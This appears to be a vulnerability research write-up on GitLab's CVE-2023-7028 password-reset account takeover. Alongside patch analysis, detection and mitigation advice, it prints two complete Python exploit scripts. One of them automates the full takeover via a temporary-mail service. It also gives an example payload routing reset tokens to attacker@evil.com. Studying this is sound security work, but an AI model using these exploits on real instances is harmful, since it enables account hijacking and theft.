Critical GitLab account takeover vulnerability (CVE-2023–7028)

vsociety
13 min readApr 26, 2024

--

by@jakaba

Screenshots from the blog posts

Summary

GitLab swiftly addressed a critical vulnerability, CVE-2023–7028, affecting versions 16.1 to 16.7.1, by releasing patches to prevent account takeovers via unverified email password resets, highlighting the importance of quick response to security threats in maintaining user trust and safety.

Description

Introduction

In the digital realm, security is paramount, and GitLab — a popular web-based DevOps lifecycle tool that provides a Git repository manager providing wiki, issue-tracking, and CI/CD pipeline features — recently faced a significant security challenge. This challenge was centered around a critical vulnerability identified as CVE-2023–7028. This vulnerability identified by asterion04 through a private bug bounty program affected a wide range of GitLab versions, specifically from 16.1 through to 16.7.1, exposing users to potential account takeovers through a flaw in the password reset process, which could send reset emails to unverified addresses. This flaw was rated with the highest severity score of 10.0 by Gitlab Inc. and 7.5 by NIST, indicating its critical impact on the security of GitLab installations.

In response, GitLab swiftly released patches for the affected versions to mitigate the risk, urging all GitLab Community Edition (CE) and Enterprise Edition (EE) installations to upgrade immediately to secure their environments.

Impact

If the attack works, the person behind it could take over someone else’s GitLab account. This means they could get their hands on private details like the codes being worked on, the changes made over time, and login information. Plus, they could use this hijacked account to target more people or different computer systems for additional harmful activities.

Affected versions

The versions of GitLab impacted by CVE-2023–7028 are formatted as follows:

  • 16.1.0–16.1.5
  • 16.2.0–16.2.8
  • 16.3.0–16.3.6
  • 16.4.0–16.4.4
  • 16.5.0–16.5.5
  • 16.6.0–16.6.3
  • 16.7.0–16.7.1

Understanding CVE-2023–7028

CVE-2023–7028 is a significant security flaw within GitLab’s authentication mechanisms, particularly its email verification process for password resets.

Typically, when a user requests a password reset, GitLab sends a token to the user’s email address, which is used to proceed with resetting the password. However, due to the vulnerability, an attacker can manipulate this process by supplying two email addresses in the request:

  • the target’s email and
  • the attacker’s email.

This causes GitLab to send the reset token to both email addresses, allowing the attacker to reset the target’s password without their knowledge.

The exploit involves several steps:

  1. Creating the payload: The attacker constructs a request containing two email addresses in an array format: user[email][]=target@example.com&user[email][]=attacker@evil.com.
  2. Attack: The attacker sends the crafted request to GitLab. If the emails are valid and associated with a GitLab account, GitLab will proceed to send the reset token to both the target and the attacker.
  3. Resetting the password: Once the attacker receives the reset token, they can complete the password reset process for the target’s account, effectively taking over the account.
  4. Bypassing Two-Factor Authentication (2FA): It’s important to note that accounts with 2FA enabled are vulnerable to password reset but not full account takeover. The attacker can reset the password but cannot bypass the second authentication factor required to log in.

Static analysis

Let’s look at the code of Gitlab 16.7.2 (EE) version after January 10, 2024, to see how a problem works. We’ll focus on the changes made to the code. (You can see almost the same changes in other version patches eg. in 16.1 CE.)

A code part in the file passwords_controller_spec.rb we can see that the application accepts multiple email addresses as input without properly checking if those emails were linked to the right user.

The vulnerable code snippet directly used user.email within the parameters of the POST request assuming that user.email is already validated and safe to use without further checks. If the user object's email attribute comes from or can be influenced by user input (for example, from a form or URL parameter that an attacker can manipulate), this creates an opportunity for exploitation. In these cases an attacker can always manipulate the user object to contain a malicious email address, leading to potential security issues like sending sensitive information to an attacker-controlled email, SQL injection (if the email is used in database queries without proper sanitization), or cross-site scripting (XSS) if the email is displayed in web pages without escaping.

In the patched code, a local variable email is used within the parameters indicating that the email is being treated as a distinct variable that could be validated and sanitized before being passed to the post method. The key here is the separation of data (the email variable) from the user object, which implies a layer of control over what email contains before it's used in the request. If email is properly validated (for example, checked against a list of allowed domains, validated for format, or sanitized to prevent injection attacks), then the risk of vulnerability significantly decreases.

Proof of Concept (POC)

A room with a vulnerable instance of a GitLab is available on Tryhackme. You can deploy your instance on any webserver with a custom domain name but this free environment is perfect for demonstration purposes.

Start the machine and connect via VPN or AttackBox.

Then add your machine’s IP to your host file pointing to gitlab.thm and visit http://gitlab.thm:8000. You should see the login page:

Click on the “Forgot your password?” link and check the source of the form.

Examining the password reset process in GitLab reveals that it sends a request to the /users/password endpoint, including an authenticity_token (a hidden token for CSRF protection) and an email address.

In a separate page open the email server’s page and log in as instructed.

The exploit code

Create a file with filename attack.py with the modified exploit code.

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()

class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()

def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None

def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False

query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)

head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}

print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sended

def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()

if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()

The code initiates by sending a POST request to the /users/password/new endpoint to retrieve an authenticity token. Following this, it conducts another API request to the /users/password endpoint, including both the victim's and the attacker's email addresses. It's noted that the victim's email is victim@mail.gitlab.thm. To carry out the exploit, follow the instructions and run the specified command in the terminal:

python3 attack.py -u http://10.10.21.36:8000 -t victim@mail.gitlab.thm -e attacker@mail.gitlab.thm

After running the command, an email will be sent to the attacker’s email address. Access the attacker’s email account, where you’ll find an email with the subject “Reset password instructions”. This email will contain a link to reset the account password. Click the “Reset password” option, which will prompt you to create a new password.

Once you enter the new password, you will gain access to the administrator account.

The original exploit code

THM’s modified exploit depends on Vozec’s code.

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re

requests.packages.urllib3.disable_warnings()

class OneSecMail_api:
def __init__(self):
self.url = "https://www.1secmail.com"
self.domains = []

def get_domains(self):
print('[DEBUG] Scrapping available domains on 1secmail.com')
html = requests.get(f'{self.url}').text
pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')
self.domains = pattern.findall(html)
print(f'[DEBUG] {len(self.domains)} domains found')

def get_email(self):
print('[DEBUG] Getting temporary mail')
if self.domains == []:
self.get_domains()
if self.domains == []:
return None
name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])
domain = choice(self.domains)
mail = f'{name}@{domain}'
print(f'[DEBUG] Temporary mail: {mail}')
return mail

def get_mail_ids(self, name, domain):
print(f'[DEBUG] Getting last mail for {name}@{domain}')
html = requests.post(f'{self.url}/mailbox',
verify=False,
data={
'action': 'getMessages',
'login': name,
'domain': domain
}).text
pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">')
mails = pattern.findall(html)
return mails

def get_last_mail(self, mail):
name, domain = mail.split('@')
mails = self.get_mail_ids(name, domain)
print(f'[DEBUG] {len(mails)} mail(s) found')
if mails == []:
return None
print(f'[DEBUG] Reading the last one')
html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text
content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]
return content


class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.mail_api = OneSecMail_api()
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()

if self.evil is None:
self.use_temp_mail = True
self.evil = self.mail_api.get_email()
if not self.evil:
print('[DEBUG] Failed ... quitting')
exit()

def get_authenticity_token(self, code=''):
try:
print('[DEBUG] Getting authenticity_token ...')
endpoint = f'/users/password/edit?reset_password_token={code}'
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text
regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None

def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None

def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False

query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)

head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}

print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')
else:
print('[DEBUG] Failed ... quitting')
return sended

def parse_email(self, content):
try:
pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"')
token = pattern.findall(content)[0]
return token
except:
return None

def get_code(self, max_attempt=5, delay=7.5):
if not self.use_temp_mail:
url = input('\tInput link received by mail: ')
pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))')
match = pattern.findall(url)
if len(match) != 1:
return None
return match[0][1]
else:
for k in range(1, max_attempt+1):
print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')
sleep(delay)
print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')
last_email = self.mail_api.get_last_mail(self.evil)
if last_email is not None:
code = self.parse_email(last_email)
return code

def reset_password(self, password):
code = self.get_code()

if not code:
print('[DEBUG] Failed ... quitting')
return False

print('[DEBUG] Generating new password')
charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

if password is None:
password = ''.join(choice(charset) for _ in range(20))

authenticity_token = self.get_authenticity_token(code)
if authenticity_token is None:
return False

print(f'[DEBUG] Changing password to {password}')

html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
verify=False,
data={
'_method': 'put',
'authenticity_token': authenticity_token,
'user[reset_password_token]': code,
'user[password]': password,
'user[password_confirmation]': password
}).text
success = 'Your password has been changed successfully.' in html
if success:
print('[DEBUG] CVE_2023_7028 succeed !')
print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in')
print(f'\tUsername: {self.target}')
print(f'\tPassword: {password}')
else:
print('[DEBUG] Failed ... quitting')


def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()


if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
exploit.reset_password(password=args.password)

Key differences:

  • Integration of temporary email service: Vozec’s version introduces the OneSecMail_api class, which automates interactions with a temporary email service (1secmail.com). This functionality is crucial for scenarios where the attacker does not have access to a suitable evil email address and opts to use a temporary one instead. It scrapes available domains, generates a temporary email, and retrieves emails sent to this address, facilitating the capture of the reset password link or token.
  • Password reset process: Beyond just sending the reset request, Vozec’s code also includes steps to automate the entire password reset process. This involves retrieving the password reset token from the temporary email, generating a new password, and completing the password reset form. This makes the exploit more autonomous and practical, providing a full end-to-end exploitation flow.
  • Error handling and user interaction: Vozec’s version seems to incorporate more detailed debug messages and error handling, offering more insights into the script’s execution process. It also allows the attacker to input a reset password link manually if not using a temporary email, accommodating various attack scenarios.

In summary, while THM’s version provides a basic framework for exploiting the vulnerability, Vozec’s code extends this by integrating with a temporary email service and automating the entire password reset process, making it a more comprehensive and versatile exploitation tool.

Patch diffing

GitLab has issued patches for the vulnerability by updating to versions 16.7.2, 16.6.4, and 16.5.6. Additionally, the security fix has been backported to earlier versions, specifically 16.1.6, 16.2.9, and 16.3.7. This new version made sure that the security hole was closed, so unauthorized people couldn’t exploit it.

To understand the patch, we’ll look into the modified files, the nature of changes, and their intended security enhancements.

The patch can be considered a bug fix for several reasons, including tightening the criteria for sending reset password instructions and ensuring the security of user accounts. Below, I highlight the key aspects of the patch and explain its significance.

1. Improved email testing utilities (email_helpers.rb): By introducing a utility to expect only one email to be sent with specific subject and recipient checks, the patch enhances the testing infrastructure's ability to verify the correctness and security of email-sending logic, specifically in the context of password reset emails.

2. Modifications in the testing and validation mechanisms:

  • Introduction of email validation and secondary email support (passwords_controller_spec.rb): The patch adds more thorough testing around the behavior of password resets, especially focusing on handling primary and secondary emails correctly. This includes tests for scenarios involving confirmed and unconfirmed secondary emails, SQL injection prevention, and handling of unknown or invalid emails.
  • Security checks related to the email address’ validity (recoverable_by_any_email_spec.rb): The patched version ensures that reset password instructions are sent only if the email is confirmed (Email.confirmed.find_by(email: attributes[:email].to_s)).
  • This prevents potential abuse where an attacker might attempt to reset passwords using unverified or maliciously added emails.
  • The modifications also introduce more robust testing for the logic that handles email-based user recovery. This includes checks for primary and secondary emails, handling unverified emails, and prevention against SQL injection attempts, thereby ensuring that password reset functionality is securely managed.

Summary

The patch significantly enhances the security and reliability of GitLab’s password reset functionality by introducing stricter checks and balances for email verification, refining the UI messaging for clarity, and bolstering the testing framework to cover a wider range of potential security vulnerabilities. The changes specifically target scenarios that could be exploited by attackers, such as the use of unconfirmed emails for password reset, SQL injection attempts, and misuse of email functionality. By addressing these issues, the patch effectively mitigates the risks associated with CVE-2023–7028, making it a critical security bug fix for GitLab’s authentication system.

Detection

According to GitLab’s security advisory, there has been no evidence of the CVE-2023–7028 vulnerability being exploited on GitLab-managed platforms, including gitlab.com and dedicated instances. However, organizations using self-managed GitLab installations are advised to inspect their logs for signs of potential exploitation attempts. Key indicators of compromise include:

  • Inspecting gitlab-rails/production_json.log for HTTP requests directed at /users/password featuring params.value.email that contains an array of multiple email addresses.
  • Reviewing gitlab-rails/audit_json.log for records labeled with meta.caller_id as PasswordsController#create and target_details that displays an array of multiple email addresses.

Using an SIEM tool for weblog monitoring helps identify possible exploitation efforts. Look for these signs:

  • Look for multiple API requests to /users/password with different email addresses.
  • Check for unexpected GitLab emails in server logs.
  • Examine unusual entries in GitLab’s audit logs, such as meta.caller.id as PasswordsController#create.
  • Watch for increases in password reset requests with multiple email addresses.
  • Investigate reports of unexpected password reset emails from users.

Mitigation

To mitigate the risk posed by CVE-2023–7028, GitLab has provided clear guidance for all users:

  1. Immediate upgrade: It’s crucial for users to promptly update their GitLab setups to the latest releases. These updates are designed to rectify the security flaw, thereby thwarting any attempts by attackers to leverage the password reset vulnerability.
  2. Using backported versions: For those who find immediate upgrading challenging, GitLab offers backported versions of the software (16.1.6, 16.2.9, and 16.3.7), which incorporate the essential security patches necessary to defend against CVE-2023–7028.
  3. Enabling Two-Factor Authentication (2FA): Given that the vulnerability facilitates password resets, employing 2FA can effectively prevent complete account compromise. 2FA introduces an additional layer of security by necessitating a secondary verification form, significantly diminishing the likelihood of unauthorized access.
  4. Educating: Increasing user awareness about the significance of enabling 2FA and providing instructions on how to do so can substantially enhance account security. Educating users about recognizing and avoiding potential phishing schemes or any suspicious account activities can also play a critical role in promptly identifying and countering exploit attempts.
  5. Enabling GitLab security alerts: Activating security alerts in GitLab is another recommended step. These alerts can provide timely notifications about potential security issues or vulnerabilities, including updates and fixes, allowing users to take proactive measures in securing their accounts and projects.

Final thoughts

CVE-2023–7028 highlights a critical flaw in GitLab’s email verification process for password resets, allowing attackers to exploit the system’s trust in email communication. This analysis not only provides insight into the mechanics of the vulnerability but also serves as a reminder of the importance of thorough validation and verification processes in web applications, especially those handling sensitive user data.

Resources

  1. https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  2. https://gitlab.com/gitlab-org/gitlab/-/commit/48154de65e174b93d70bc561c7a0c8b0815d367f
  3. https://github.com/Vozec/CVE-2023-7028
  4. https://github.com/RandomRobbieBF/CVE-2023-7028
  5. https://medium.com/@josephalan17201972/tryhackme-gitlab-cve-2023-7028-15ac9af8d931
  6. https://threatprotect.qualys.com/2024/01/15/gitlab-ee-ce-account-take-over-vulnerability-cve-2023-7028/
  7. https://tryhackme.com/r/room/gitlabcve20237028

--

--

vsociety
vsociety

Written by vsociety

vsociety is a community centered around vulnerability research

No responses yet